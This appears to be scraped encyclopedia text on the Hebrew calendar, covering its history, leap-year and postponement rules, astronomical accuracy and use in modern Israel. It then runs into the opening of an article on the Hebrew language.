          The first month of the year is Nisan. The 14th of Nisan is the start of the festival of Pesach, corresponding to the full moon of Nisan. Though it is not expressly prescribed in these terms, Pesach is a spring festival, so the 14th of Nisan is the first full moon after the vernal equinox. Therefore, from the standpoint of determining the annual calendar cycle, the principal problem is that the lunar month/new moon of Nisan must occur before the spring equinox. Since at least the 12th Century, the Hebrew calendar has determined this time mathematically, but prior to this tradition held that the 1st of Nisan does not start (and an intercalary month would be added) until the barley is ripe.


          While the bible designates this month (without calling it Nisan) as the first month of the year, Rosh Hashanah, which is literally "The Head of the Year", meaning "The Beginning of the Year", is actually celebrated on the first of the seventh month, currently called Tishrei, so most Jews today view Tishrei as the de facto beginning of the year. Although there are references to this holiday in the Torah, it was not then regarded as the beginning of the year, but more as a Holiday for reflection and remembrance.


          Change to a calculated calendar


          


          Observational principles


          
            [image: A stone (2.43x1 m) with Hebrew inscription "To the Trumpeting Place" is believed to be a part of the Second Temple.]
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          In Second Temple times (c. 518 BCE  70 CE), the Hebrew calendar operated on an observational basis. The beginning of each lunar month was decided on the basis of two eye witnesses testifying to the Sanhedrin to having seen the new lunar crescent at sunset. Patriarch Gamaliel II (c. 100) would ask the witnesses to select the appearance of the moon from a collection of drawings that depicted the crescent in a variety of orientations, only a few of which could be valid in any given month. According to tradition, these observations were compared against calculations made by the Sanhedrin. When thirty days elapsed since the last new moon, the witnesses were readily believed.


          At first the beginning of each Jewish month was signaled to the communities of Israel and beyond by fires lit on mountaintops, but after the Samaritans and Boethusians began to light false fires, messengers were sent. The inability of the messengers to reach communities outside Israel before mid-month High Holy Days ( Succot and Passover) led outlying communities to celebrate scriptural festivals for two days rather than one, observing the second feast-day of the Jewish diaspora because of uncertainty of whether the previous month ended after 29 or 30 days.


          


          Transitional period


          
            [image: In Rome the Arch of Titus still stands, depicting the enslaved Judeans and objects from the Temple being brought to Rome.]
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          The destruction of the Second Temple in 70 CE and the general disruption of Jewish communal life after the Jewish-Roman Wars of 6673, 115117, and 132135, caused major disruptions in Jewish life. It also disrupted the calendar. During the third and fourth centuries, Christian sources describe the use of eight, nineteen, and 84 year lunisolar cycles by Jews, all linked to the civil calendars used by various communities of Diaspora Jews, which were effectively isolated from Levant Jews and their calendar. Some assigned major Jewish festivals to fixed solar calendar dates, whereas others used epacts to specify how many days before major civil solar dates Jewish lunar months were to begin. The Talmud notes the irregular intercalation (adding of extra months) performed in three successive years in the early second century. The Ethiopic Christian computus (used to calculate Easter) describes in detail a Jewish calendar which must have been used by Alexandrian Jews near the end of the third century. These Jews formed a relatively new community in the aftermath of the annihilation (by murder or enslavement) of all Alexandrian Jews by Emperor Trajan at the end of the 115117 Kitos War. Their calendar used the same epacts in nineteen year cycles that were to become canonical in the Easter computus used by almost all medieval Christians, both those in the Latin West and the Hellenist East. Only those churches beyond the eastern border of the Byzantine Empire differed, changing one epact every nineteen years, causing four Easters every 532 years to differ.


          The period 70 to 1178 saw a gradual transition from an observation based calendar to a mathematically calculated one. Except for the epoch year number, the calendar rules reached their current form before 820 or 921, with some uncertainty regarding when.


          If one back-calculates the moments of the traditional moladot using modern astronomical calculations then the closest that their reference meridian of longitude ever got to Israel was midway between the Nile River and the end of the Euphrates River (about 4 east of Jerusalem), and that was in the era of the Second Temple.


          From the times of the Amoraim (third to fifth centuries), calculations were increasingly used, for example by Samuel the astronomer, who stated during the first half of the third century that the year contained 365  days, and by "calculators of the calendar" circa 300. Jose, an Amora who lived during the second half of the fourth century, stated that the feast of Purim, 14 Adar, could not fall on a Sabbath nor a Monday, lest 10 Tishrei (Yom Kippur) fall on a Friday or a Sunday. This indicates a fixed number of days in all months from Adar to Elul, also implying that the extra month was already a second Adar added before the regular Adar.


          Under the patriarchate of Rabbi Judah III (300-330 CE) the testimony of the witnesses with regard to the appearance of the new moon was received as a mere formality, the settlement of the day depending entirely on calculation. This innovation seems to have been viewed with disfavor by some members of the Sanhedrin, particularly Rabbi Jose, who wrote to both the Babylonian and the Alexandrian communities, advising them to follow the customs of their fathers and continue to celebrate two days, an advice which was followed, and is still followed, by the majority of Jews living outside of Israel.


          Traditionally, intercalations were determined at meetings of a special calendar commission of the Sanhedrin. But Constantius II, following the precedents of Hadrian, prohibited the holding of such meetings. However, the Jewish community outside the land of Israel depended on the calendar sanctioned by the Judean Sanhedrin for the proper observance of the Jewish holidays. However, danger threatened the participants in that sanction and the messengers who communicated their decisions to distant congregations. Temporarily, to relieve the foreign congregations, Huna ben Abin once advised Rava not to wait for the official intercalation:


          
            When you are convinced that the winter quarter will extend beyond the sixteenth day of Nisan declare the year a leap year, and do not hesitate ( R. H. 21a).

          


          There is a popular tradition, first mentioned by Hai Gaon (d.1038 CE), that as religious persecutions continued, Patriarch Hillel II determined to provide an authorized mathematically-based calendar for all time to come, though by so doing he severed the ties which united the Jews of the diaspora to their mother country and to the patriarchate. It is recorded that the calendar was adopted at a clandestine, and maybe final, meeting of the Sanhedrin in 358, marking the last universal decision made by that body.


          This explanation has been questioned. It is noted that the Talmud, which did not reach its final form until c. 500, does not mention the continuous calendar or even anything as mundane as either the nineteen-year cycle or the length of any month, despite discussing the characteristics of earlier calendars, suggesting the final form of the modern calendar was fixed subsequent to the sixth century.


          Furthermore, Jewish dates during post-Talmudic times (specifically in 506 and 776) are impossible using modern rules, and all evidence points to the development of the arithmetic rules of the modern calendar in Babylonia during the times of the Geonim (seventh to eighth centuries), under the Abbasid Caliphate. The Babylonian rules required the delay of the first day of Tishrei when the new moon occurred after noon.


          


          Epoch year


          One notable difference between the calendar of that era and the modern form was the date of the epoch (the fixed reference point at the beginning of year 1), which at that time was one year later than the epoch of the modern calendar.


          


          Codification of rules


          Most of the present rules of the calendar appear to have been in place by about 820, according to a treatise by the Muslim astronomer Muḥammad ibn Mūsā al-Ḵwārizmī (c. 780-850 CE) a Persian polymath noted for his contributions to Islamic mathematics, Islamic astronomy, Islamic astrology and geography. Al-Khwārizmī's study of the Jewish calendar, Risāla fi istikhrāj taʾrīkh al-yahūd "Extraction of the Jewish Era" describes the 19-year intercalation cycle, the rules for determining on what day of the week the first day of the month Tishrī shall fall, the interval between the Jewish era (creation of Adam) and the Seleucid era, and the rules for determining the mean longitude of the sun and the moon using the Jewish calendar.


          In 921, Aaron ben Meir proposed changes to the calendar. Though the proposals were rejected, it indicates that all of the rules of the modern calendar (except for the epoch) were in place before that date. In 1000, the Muslim chronologist al-Biruni described all of the modern rules of the Hebrew calendar, except that he specified three different epochs used by various Jewish communities being one, two, or three years later than the modern epoch.


          Finally, in 1178, Maimonides, in his work Mishneh Torah, described all of the modern rules and their scriptural basis, including the modern epochal year. Maimonides showed analytically how the scriptural procedure for determining the calendar must be flawed, something he could explain through his faith. He noted that non-Jewish savants had presented mathematically correct methods of calculating the potential visibility of the new crescent, and reasoned that since these methods exist, they must have been used by the Sanhedrin and the record of their use lost.


          


          Principles


          


          Measurement of month


          
            [image: Animation of the Moon as it cycles through its phases, as seen from the Northern Hemisphere. The apparent wobbling of the Moon is known as libration.]
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            	Synodic month

          


          A synodic month (known in Hebrew as a " molad") is a scientifically defined lunar conjunction based on the position of the moon in the lunar orbit. It equals exactly 765433/25920 days, or 29 days, 12 hours, and 793 parts (44+1/18 minutes) (ie 29.5306 days). This interval matches the mean synodic month determined by the Babylonians before 300 BCE and as adopted by the Greek astronomer Hipparchus and the Alexandrian astronomer Ptolemy. Its remarkable accuracy is thought to have been achieved using records of lunar eclipses from the eighth to fifth centuries BCE, with a reference meridian midway between the Nile River and the end of the Euphrates River, about 4 east of Jerusalem.


          
            	Traditional new moon

          


          A "new moon" is the day on which the first visible crescent of the moon is observed. It occurs 29 or 30 days after the preceding visible crescent and traditionally signaled the start of a Jewish lunar month.


          Combining the observation method with the scientific lunar month length works as follows. Assume one begins at a particular new month of 29 days. As the mean lunar month is 29.5306 days long, there would be a carry forward into the next month of 0.5306 days (ie 12 hours, 44+1/18 minutes). Adding that carry forward amount to the next month will make it equal 30.0612 days (30 days, 1 hour and 24+2/18 minutes). So the second month would be 30 days long, and 0.0612 days (or 1 hour 24+2/18 minutes) would be carried forward to be added to the next cycle, and so on. Then every 17 lunar months the carry forward amounts would exceed 24 hours (0.0612 x 17 = 1.0404), which would require an additional day to be added to that month. In summary, the progression becomes: year 1 | 29  30  29  30  29  30  29  30  29  30  29  30 | year 2 | 29  30  29  30  30  29  etc.


          


          Pattern of calendar years


          The Jewish calendar is based on the Metonic cycle of 19 years, of which 12 are common years (12 months) and 7 leap years (13 months). A Metonic cycle equates to 235 lunar months in each 19-year cycle. This gives an average of 6939 days, 16 hours and 595 parts for each cycle.


          But due to the Rosh HaShanah postponement rules (see below), a cycle of 19 Jewish years can be either 6939, 6940, 6941, or 6942 days in duration. Since none of these values is evenly divisible by seven, the Jewish calendar repeats exactly only following 36,288 Metonic cycles, or 689,472 Jewish years. There is a near-repetition every 247 years, except for an excess of 50 minutes (905 parts).


          There are 14 different patterns that Jewish years may take. Each of these patterns is called a "keviyah" (Hebrew for "a setting" or "an established thing"), and is distinguished by the day of the week for Rosh Hashanah of that particular year and by that particular year's length.


          A Jewish non-leap year can only have 353, 354, or 355 days. A leap year can have 383, 384, or 385 days (always 30 days longer than the non-leap length).


          
            	A chaserah year (Hebrew for "deficient" or "incomplete") is 353 or 383 days long. Both Kislev and Cheshvan have 29 days. The Hebrew letter ח "het", and the letter for the weekday denotes this pattern.


            	A kesidrah year ("regular" or "in-order") is 354 or 384 days long. Kislev has 29 days and Cheshvan has 30 days. The Hebrew letter כ "kaf", and the letter for the week-day denotes this pattern.


            	A shlemah year ("abundant" or "complete") is 355 or 385 days long. Both Kislev and Cheshvan have 30 days. The Hebrew letter ש "shin", and the letter for the week-day denotes this pattern.

          


          


          Determining leap years


          The Jewish leap years are years 3, 6, 8, 11, 14, 17, and 19 of the Metonic cycle. To determine whether a year is a leap year, find the remainder when dividing the Jewish year number by 19. If the remainder is 3, 6, 8, 11, 14 or 17, the year is a leap year and an extra month, Adar II, is added. If the remainder is zero, the year is also a leap year since year 19 of the Metonic cycle is a year exactly divisible by 19. Another way to check a specific year is to find the remainder in the following calculation: ( 7 x the Jewish year number + 1 ) / 19. If the remainder is less than 7, the year is a leap year.


          A mnemonic word in Hebrew is GUCHADZaT "גוחאדז"ט" (the Hebrew letters gimel-vav-het aleph-dalet-zayin-tet, i.e. 3, 6, 8, 1, 4, 7, 9. See Hebrew numerals). A variant of this pattern of naming includes another letter which specifies the day of the week for the first day of Pesach (Passover) in the year.


          Another memory aid notes that intervals of the major scale follow the same pattern as do Jewish leap years, with do corresponding to year 19 (or 0): a whole step in the scale corresponds to two common years between consecutive leap years, and a half step to one common year between two leap years.


          


          Special holiday rules


          Adjustments are needed to ensure certain holy days and festivals do or do not fall on certain days of the week in the coming year.


          
            	Rosh Hashanah postponement rules

          


          
            
              	Day of week

              	Number of days
            


            
              	Monday

              	353

              	355

              	383

              	385
            


            
              	Tuesday

              	354

              	

              	

              	384
            


            
              	Thursday

              	354

              	355

              	383

              	385
            


            
              	Saturday

              	353

              	355

              	383

              	385
            

          


          Although simple math would calculate 21 patterns for calendar years, there are other limitations which mean that the first day of Rosh Hashanah, Sukkot and Shmini Atzeret (which all occur on the same day of the week in any given year) may only occur on Mondays, Tuesdays, Thursdays, and Saturdays (the "four gates"), according to the table.


          That means that the pattern can be varied to ensure that Rosh Hashanah does not fall on the other 3 days. This is to ensure that Yom Kippur does not directly precede or follow Shabbat, which would create practical difficulties, and that Hoshana Rabbah is not on a Shabbat, in which case certain ceremonies would be lost for a year.


          
            	Yom Kippur

          


          Yom Kippur, on which no work can be done, can never fall on Friday (the day prior to the Sabbath), or on Sunday (the day after Shabbat) to avoid having the previous day's restrictions still going on at the start of Sabbath, or the restrictions of Shabbat still going on at the start of Yom Kippur. Thus some flexibility has been built in.


          
            	Leap years

          


          In leap years, a 30 day month called Adar I is inserted immediately after the month of Shevat, and the regular 29 day month of Adar is called Adar II. This is done to ensure that the months of the Jewish calendar always fall in roughly the same seasons of the solar year, and in particular that Nisan is always in spring. Whether either Chesvan or Kislev both have 29 days, or both have 30 days, or one has 29 days and the other 30 days depends upon the number of days needed in each year. Thus a leap year of 13 months has an average length of 383 days, so for this reason alone sometimes a leap year needs 383 and sometimes 384 days.


          The 265 days from the first day of the 29 day month of Adar (i.e. the twelfth month, but the thirteenth month, Adar II, in leap years) and ending with the 29th day of Heshvan forms a fixed length period that has all of the festivals specified in the Bible, such as Pesach (Nisan 15), Shavuot (Sivan 6), Rosh Hashana (Tishrei 1), Yom Kippur (Tishrei 10), Sukkot (Tishrei 15), and Shemini Atzeret (Tishrei 22).


          
            	Pesach

          


          The festival period from Pesach up to and including Shemini Atzeret is exactly 185 days long. The time from the traditional day of the vernal equinox up to and including the traditional day of the autumnal equinox is also exactly 185 days long. This has caused some unfounded speculation that Pesach should be March 21 and Shemini Atzeret should be September 21, which are the traditional days for the equinoxes. Just as the Hebrew day starts at sunset, the Hebrew year starts in the Autumn (Rosh Hashanah), although the mismatch of solar and lunar years will eventually move it to another season if the modern fixed calendar isn't moved back to its original form of being judged by the Sanhedrin (which requires the Beit Hamikdash)


          


          Days of week of holidays


          
            
              	Purim

              	Passover

              (first day)

              	Shavuot

              (first day)

              	Seventeenth of Tamuz/

              Tisha B'Av

              	Rosh Hashanah/

              Sukkot/

              Shmini Atzeret/

              (first day)

              	Yom Kippur

              	Chanukah

              (first day)

              	Tenth of Tevet

              	Tu B'Shevat
            


            
              	SUN

              	TUE

              	WED

              	TUE

              	THU

              	SAT

              	WED or THU

              	WED, THU, or FRI

              	TUE, WED, or THU
            


            
              	TUE

              	THU

              	FRI

              	THU

              	SAT

              	MON

              	FRI or SAT

              	FRI or SUN*

              	THU, FRI, or SAT
            


            
              	THU

              	SAT

              	SUN

              	SUN*

              	MON

              	WED

              	SUN or MON

              	SUN, MON, or TUE

              	SAT, SUN, or MON
            


            
              	FRI

              	SUN

              	MON

              	SUN

              	TUE

              	THU

              	MON or TUE

              	MON, TUE, or WED

              	SUN, MON, or TUE
            

          


          *Postponed to not be held on Shabbat


          


          Measurement of hours


          Every hour is divided into 1080 halakim or parts. A part is 3⅓ seconds or 1/18 minute. The ultimate ancestor of the helek was a small Babylonian time period called a barleycorn, itself equal to 1/72 of a Babylonian time degree (1 of celestial rotation). Actually, the barleycorn or she was the name applied to the smallest units of all Babylonian measurements, whether of length, area, volume, weight, angle, or time.


          But by the twelfth century that source had been forgotten, causing Maimonides to speculate that there were 1080 parts in an hour because that number was evenly divisible by all numbers from 1 to 10 except 7. But the same statement can be made regarding 360. The weekdays start with Sunday (day 1) and proceed to Saturday (day 7). Since some calculations use division, a remainder of 0 signifies Saturday.


          While calculations of days, months and years are based on fixed hours equal to 1/24 of a day, the beginning of each halachic day is based on the local time of sunset. The end of the Shabbat and other Jewish holidays is based on nightfall (Tzeis Hacochavim) which occurs some amount of time, typically 42 to 72 minutes, after sunset. According to Maimonides, nightfall occurs when three medium-sized stars become visible after sunset. By the seventeenth century this had become three second-magnitude stars. The modern definition is when the centre of the sun is 7 below the geometric (airless) horizon, somewhat later than civil twilight at 6. The beginning of the daytime portion of each day is determined both by dawn and sunrise. Most halachic times are based on some combination of these four times and vary from day to day throughout the year and also vary significantly depending on location. The daytime hours are often divided into Shaos Zemaniyos or "Halachic hours" by taking the time between sunrise and sunset or between dawn and nightfall and dividing it into 12 equal hours. The earliest and latest times for Jewish services, the latest time to eat Chametz on the day before Passover and many other rules are based on Shaos Zemaniyos. For convenience, the day using Shaos Zemaniyos is often discussed as if sunset were at 6:00pm, sunrise at 6:00am and each hour were equal to a fixed hour. For example, halachic noon may be after 1:00pm in some areas during daylight saving time.


          


          Accuracy


          


          Irregularities and "Missing Years"


          The traditional dates of events in Jewish history are often used interchangeably with the modern secular dates according to the Gregorian calendar. For example, the traditional Jewish date for the destruction of the First Temple (3338 AM = 423 BCE) differs from the modern scientific date, which is usually expressed using the Gregorian calendar (586 BCE). Implicit in this practice is the view that if all the differences in structure between the Hebrew and Gregorian calendars are taken into consideration, the two dates can be derived from each other. This is not the case. If the traditional dates of events before the Second Temple era are assumed to be using the standard Hebrew calendar, they refer to different objective years than those of the secular dates. The discrepancy is some 165 years.


          The conflict does not necessarily imply that either the traditional dates or the secular dates must be objectively wrong. It is possible that the traditional dates did not use a consistent calendar matching the year count of the standard Hebrew calendar. It could be that one or more substantial calendar shifts have occurred, or the years counted might in certain periods have differed from astronomical years. Taking into account the possibility of a changing structure of the Hebrew calendar, theoretically, both the traditional dates and those of secular scholars could be correct. Even so, the account of history in the traditional sourcebook Seder Olam Rabba, and in particular its description of the period of Persian domination, seems to be irrevocably at odds with modern scientific understanding.


          Furthermore, the modern Hebrew calendar cannot be used to calculate Biblical dates because new moon dates may be in error by 2 days and months may be in error by 2 months. The latter accounts for the irregular intercalation (adding of extra months) that was performed in three successive years in the early second century, according to the Talmud.


          


          Mean year length


          The Hebrew calendar mean year is 365.2468 days long, or 365 days, 5 hours 55 minutes, and 25+25/57 seconds (the molad/monthly interval  235 months per 19-year cycle  19 years per cycle). As the present-era mean northward equinoctial year is about 365 days 5 hours 49 minutes and zero seconds long, the Hebrew calendar mean year is about 6 minutes and 25+25/57 seconds longer than the modern fixed solar year. This amounts to approximately one day in every 224 years.


          In addition, since the mean Gregorian calendar year is 365.2425 days (exactly 365 days 5 hours 49 minutes and 12 seconds) and the mean Hebrew calendar year is 365.2468 days, the Hebrew calendar falls behind the Gregorian calendar by about a day every 231 years.


          


          Molad intervals


          The source of the discrepancy is the difference between the molad interval and the actual lunar conjunction cycle. The molad interval is currently about 0.6 seconds too long, and the discrepancy is accumulating at an accelerating rate, since the mean lunation interval is progressively shortening due to gravitational tidal effects. The accumulated "error" since the era of Hillel II is such that the molad moments are now almost 1 hour and 40 minutes late relative to the mean lunar conjunctions at the original reference meridian, which was midway between the Nile River and the end of the Euphrates River. The modern molad moments match the mean solar times of the lunar conjunction moments near the meridian of Kandahar, Afghanistan, more than 30 east of Jerusalem.


          In the present era actual lunar conjunction intervals can be as short as 29 days 6 hours and 30 minutes to as long as 29 days and 20 hours, an astonishing variation range of about 13 hours and 30 minutes. Furthermore, due to the eccentricity of Earth's orbit, series of shorter lunations alternate with series of longer lunations, consequently the actual lunar conjunction moments can range from 12 hours earlier than to 16 hours later than the molad moment, in terms of Jerusalem mean solar time (make the conjunction moments 16 minutes earlier if referred to the original molad reference meridian midway between the Nile River and the end of the Euphrates River, about 4 east of Jerusalem). Today, in terms of the mean solar time at the meridian of Qandahar, Afghanistan the actual lunar conjunctions vary 14 hours relative to the traditional moladot.


          Measured on a strictly uniform time scale, such as that provided by an atomic clock, the mean synodic month is becoming gradually longer, but since due to the tides the Earth rotation rate slowing even more the mean synodic month is becoming gradually shorter in terms of mean solar time. The value 29-12-793 was almost exactly correct at the time of Hillel II and is now about 0.6 seconds per month too long. However, it is still the most correct value possible as long as only whole parts (1/18 minute) are used.


          


          Implications for Jewish ritual


          
            [image: This figure, in a detail of a medieval Hebrew calendar, reminded Jews of the palm branch (Lulav), the myrtle twigs, the willow branches, and the citron (Etrog) to be held in the hand and to be brought to the synagogue during the holiday of sukkot, near the end of the autumn holiday season.]
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          Although the molad of Tishrei is the only molad moment that is not ritually announced, it is actually the only one that is relevant to the Hebrew calendar, for it determines the provisional date of Rosh HaShanah, subject to the Rosh HaShanah postponement rules. The other monthly molad moments are announced for mystical reasons. With the moladot on average almost 100 minutes late, this means that the molad of Tishrei lands one day later than it ought to in (100 minutes)  (1440 minutes per day) = 5 of 72 years or nearly 7% of years!


          Therefore the seemingly small drift of the moladot is already significant enough to affect the date of Rosh HaShanah, which then cascades to many other dates in the calendar year and sometimes, due to the Rosh HaShanah postponement rules, also interacts with the dates of the prior or next year. The molad drift could be corrected by using a progressively shorter molad interval that corresponds to the actual mean lunar conjunction interval at the original molad reference meridian. Furthermore, the molad interval determines the calendar mean year, so using a progressively shorter molad interval would help correct the excessive length of the Hebrew calendar mean year, as well as helping it to "hold onto" the northward equinox for the maximum duration.


          If the intention of the calendar is that Passover should fall near the first full moon after the northward equinox, or that the northward equinox should land within one lunation before 16 days after the molad of Nisan, then this is still the case in about 80% of years, but in about 20% of years Passover is a month late by these criteria (as it was in Hebrew year 5765, an 8th year of the 19-year cycle = Gregorian 2005 AD). Presently this occurs after the "premature" insertion of a leap month in years 8, 19, and 11 of each 19-year cycle, which causes the northward equinox to land at exceptionally early moments in such years. This problem will get worse over time, and so beginning in Hebrew year 5817 the 3rd year of each 19-year cycle will also be a month late. Furthermore, the drift will accelerate in the future as perihelion approaches and then passes the northward equinox, and if the calendar is not amended then Passover will start to land on or after the summer solstice around Hebrew year 16652, or about 10885 years from the present. (The exact year when this will begin to occur depends on uncertainties in the future tidal slowing of the Earth rotation rate, and on the accuracy of predictions of precession and Earth axial tilt.)


          The seriousness of the spring equinox drift is widely discounted on the grounds that Passover will remain in the spring season for many millennia, and the text of the Torah is generally not interpreted as having specified tight calendrical limits. On the other hand, the mean southward equinoctial year length is considerably shorter, so the Hebrew calendar has been drifting faster with respect to the autumn equinox, and at least part of the harvest festival of Sukkot is already more than a month after the equinox in years 9, 1, 12 and 4 of each 19-year cycle (these are the same year numbers as were mentioned for the spring season in the previous paragraph, except that they get incremented at Rosh HaShanah). This progressively increases the probability that Sukkot will be cold and wet, making it uncomfortable or impractical to dwell in the traditional succah during Sukkot. The first winter seasonal prayer for rain is not recited until Shemini Atzeret, after the end of Sukkot, yet it is becoming increasingly likely that the rainy season in Israel will start before the end of Sukkot.


          [bookmark: .22Rectifying.22_the_Hebrew_calendar]


          "Rectifying" the Hebrew calendar


          Given the importance in Jewish ritual of establishing the accurate timing of monthly and annual times, some futurist writers and researchers have considered whether a "corrected" system of establishing the Hebrew date is required, due to the small but accelerating changes in the actual lunar cycle interval. Further religious questions include how such a system might be implemented and administered throughout the diverse aspects of the world Jewish community.


          It is traditionally held that the fixed arithmetic Hebrew calendar was established on the authority of Hillel ben Yehudah, President of the Sanhedrin in Hebrew year 4119, and therefore only an equal authority (the modern Sanhedrin) or a higher authority (the Messiah) can either amend it or reinstate the observational Hebrew calendar.


          A 353-year leap cycle of 4366 months, including 130 leap months, along with use of a progressively shorter molad interval, could keep an amended fixed arithmetic Hebrew calendar from drifting for more than 7 millennia.


          


          Usage in contemporary Israel


          Early Zionist pioneers were impressed by the fact that the calendar preserved by Jews over many centuries in far flung diasporas, as a matter of religious ritual, was geared to the climate of their original country: the Jewish New Year marks the moment of transition from the Dry Season to the Rainy one, and major Jewish Holidays such as Sukkot, Passover or Shavuot correspond to major points of the country's agricultural year such as planting and harvest.


          Accordingly, in the early 20th Century the Hebrew Calendar was re-interpreted as an agricultural rather than religious calendar. The Kibbutz movement was especially inventive in creating new rituals fitting this interpretation.


          With the creation of the State of Israel the Hebrew Calendar was made its official calendar. New holidays and commemorations not derived from previous Jewish tradition invariably were to be defined according to their Hebrew dates  notably the Israeli Independence Day on Iyar 5, Jerusalem Reunification Day on 28 Iyar, and the Holocaust Commemoration Day on Nisan 27 (close to the Hebrew date of the start of the Warsaw Ghetto Uprising).


          Nevertheless, since the 1950s the Hebrew calendar steadily declined in importance in Israeli daily life, in favour of the worldwide Gregorian Calendar. At present, Israelis  except for the minority of religiously observant  conduct their private and public life according to the Gregorian Calendar.


          The Jewish New Year (Rosh Hashana) is a two-day public holiday in Israel. However, since the 1980s an increasing number of secularist Israelis had taken up the habit of celebrating the Gregorian New Year (usually known as " Sylvester Night"  "ליל סילבסטר") by holding all-night parties on the night between December 31 and January 1. Prominent Rabbis have on several occasions sharply denounced this practice, but with no noticeable effect on the secularist celebrants.


          The disparity between the two calendars is especially noticeable with regard to commemoration of the assassinated Prime Minister Yitzchak Rabin. The official Day of Commemoration, instituted by a special Knesset law, is marked according to the Hebrew Calendar - on Heshvan 12. However, left-leaning Israelis, who revere Rabin as a martyr for the cause of peace and who are predominantly secularist, prefer to hold their own mass memorial rallies on November 4. In some years the two competing Rabin Memorial Days are separated by as much as two weeks.


          The wall calendars commonly used in Israel are hybrids  organised according to Gregorian rather than Jewish months, but beginning in September, where the Jewish New Year usually falls, and providing the Jewish date in small characters.


          
            Retrieved from " http://en.wikipedia.org/wiki/Hebrew_calendar"
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              	Hebrew

              עִבְרִית Ivri't
            


            
              	Pronunciation:

              	[ʔivˈrit] (standard Israeli), [ʕivˈɾit] (standard Israeli ( Sephardi)), [ʕivˈri] ( Oriental), [ˈivʀis] ( Ashkenazi)
            


            
              	Spokenin:

              	Israel and other countries, including Argentina, Belgium, Brazil, Chile, Canada, Sweden, France, Germany, Iran, Lebanon, Netherlands, Nigeria, Russia, Wales, Jamaica, Panama, United Kingdom, Mongolia, United States and Uruguay. It has also served as the liturgical language of Judaism for over 3,500 years.
            


            
              	Totalspeakers:

              	
                Extinct as a spoken language by the 4th century AD; Sephardi Hebrew revived in the 1880s, and now with around 7 million speakers, (United States: 195,375).1


                1United States Census 2000 PHC-T-37. Ability to Speak English by Language Spoken at Home: 2000. Table 1a. PDF(11.8 KiB)

              
            


            
              	Language family:

              	Afro-Asiatic

               Semitic

               West Semitic

               Central Semitic

               Northwest Semitic

               Canaanite

              Hebrew
            


            
              	Writing system:

              	Hebrew alphabet
            


            
              	Official status
            


            
              	Official language in:

              	[image: Flag of Israel]Israel
            


            
              	Regulated by:

              	Academy of the Hebrew Language

              האקדמיה ללשון העברית(HaAqademia LaLashon HaIvrit)
            


            
              	Language codes
            


            
              	ISO 639-1:

              	he
            


            
              	ISO 639-2:

              	heb
            


            
              	ISO 639-3:

              	either:

              hebModern Hebrew

              hbo Ancient Hebrew
            


            
              	Note: This page may contain IPA phonetic symbols in Unicode.
            

          


          Hebrew (עִבְרִית, Ivrit) is a Semitic language of the Afro-Asiatic language family, and spoken by more than seven million people in Israel and used for prayer or study in Jewish communities around the world. In Israel, it is the de facto language of the state and the people, as well as being one of the two official languages (together with Arabic), and it is spoken by the majority of the population. Hebrew is also spoken as a mother tongue by the Samaritans, though today fewer than a thousand Samaritans remain. As a foreign language it is studied mostly by Jews and students of Judaism and Israel, archeologists and linguists specializing in the Middle East and its civilisations and by theologians.


          The term "Hebrew" is named after Abraham who was known as Ha-Ivri, (Hebrew plural, Ivrim; misread as Ha-Ibri), which occurs in Genesis 14:13 with the phrase Avram ha-Ivri, and is the origin of the English word Hebrew. Its cognates were also used (in ancient times) to designate the Aramaic spoken by the Judean population. See Judeo-Aramaic.


          The core of the Tanakh (the Hebrew Bible) is written in Classical Hebrew, and much of its present form is specifically the dialect of Biblical Hebrew that scholars believe flourished around the 6th century BC, around the time of the Babylonian exile. For this reason, Hebrew has been referred to by Jews as Leshon Ha-Kodesh (לשון הקודש), "The Holy Language", since ancient times.


          


          History


          As a language, Hebrew belongs to the Canaanite group of languages. Hebrew (Israel) and Moabite (Jordan) are Southern Canaanite while Phoenician (Lebanon) is Northern Canaanite. Canaanite is closely related to Aramaic and to a lesser extent South-Central Arabic. Whereas other Canaanite languages and dialects have become extinct, Hebrew has survived. Hebrew flourished as a spoken language in Israel from the 10th century BC until the Babylonian exile. After that it was gradually replaced by Aramaic, the cosmopolitan language of the Jewish elite (see below, Aramaic displacing Hebrew as a spoken language), though some scholars believe that there were still some native speakers of Hebrew until shortly before the Byzantine era. From the beginning of the 1st millennium Hebrew continued in use as a religious and literary language until the 19th century, when it was revived as a spoken language.


          Most linguists agree that after the 6th century BC, when the Neo-Babylonian Empire conquered the ancient Kingdom of Judah, destroying Jerusalem and exiling its population to Babylon and after Cyrus The Great, the King of Kings or Great King of Persia, gave them permission to return, Biblical Hebrew came to be replaced in daily use by new dialects of Hebrew and a local version of Aramaic. After the 2nd century AD when the Roman Empire exiled most of the Jewish population of Jerusalem following the Bar Kokhba revolt, Hebrew gradually ceased to be a spoken language, but remained a major literary language. Letters, contracts, commerce, science, philosophy, medicine, poetry, and laws were written in Hebrew, which adapted by borrowing and inventing terms.


          Hebrew persevered along the ages as the main language for written purposes by all Jewish communities around the world for a large range of uses (poetry, philosophy, science and medicine, commerce, daily correspondence and contracts, in addition to liturgy). This meant not only that well-educated Jews in all parts of the world could correspond in a mutually intelligible language, and that books and legal documents published or written in any part of the world could be read by Jews in all other parts, but that an educated Jew could travel and converse with Jews in distant places, just as priests and other educated Christians could once converse in Latin. It has been 'revived' several times as a literary language, and most significantly by the Haskalah (Enlightenment) movement of early and mid-19th century. Near the end of that century the Jewish activist Eliezer Ben-Yehuda, who was no scholar or linguist, owing to the ideology of the national revival (Hibbat Tziyon, later Zionism) began reviving Hebrew as a modern spoken language. Eventually, as a result of the local movement he created, but more significantly as a result of the new groups of immigrants known under the name of the Second Aliyah, it replaced a score of languages spoken by Jews at that time. Those languages were Jewish dialects such as Ladino (also called Judezmo), Yiddish and Judeo-Arabic, or local languages spoken in the Jewish diaspora such as Russian, Persian, and Arabic.


          The major result of the literary work of the Hebrew intellectuals along the 19th century was a lexical modernization of Hebrew. New words and expressions were adapted as neologisms from the large corpus of Hebrew writings since the Hebrew Bible, or borrowed from Arabic (mainly by Eliezer Ben-Yehuda) and Aramaic. Many new words were either borrowed from or coined after European languages, especially English, Russian, German, and French. Modern Hebrew became an official language in British-ruled Palestine in 1921 (along with English and Arabic), and then in 1948 became an official language of the newly declared State of Israel. English and Arabic still remain formal languages in Israel to this day.


          


          Origins


          Hebrew is a Semitic language, and as such a member of the larger Afro-Asiatic phylum.


          Within Semitic, the Northwest Semitic languages formed around the 3rd millennium BC, grouped with the Arabic languages as Central Semitic. The Canaanite languages are a group within Northwest Semitic, emerging in the 2nd millennium BC in the Levant, gradually separating from Aramaic and Ugaritic.


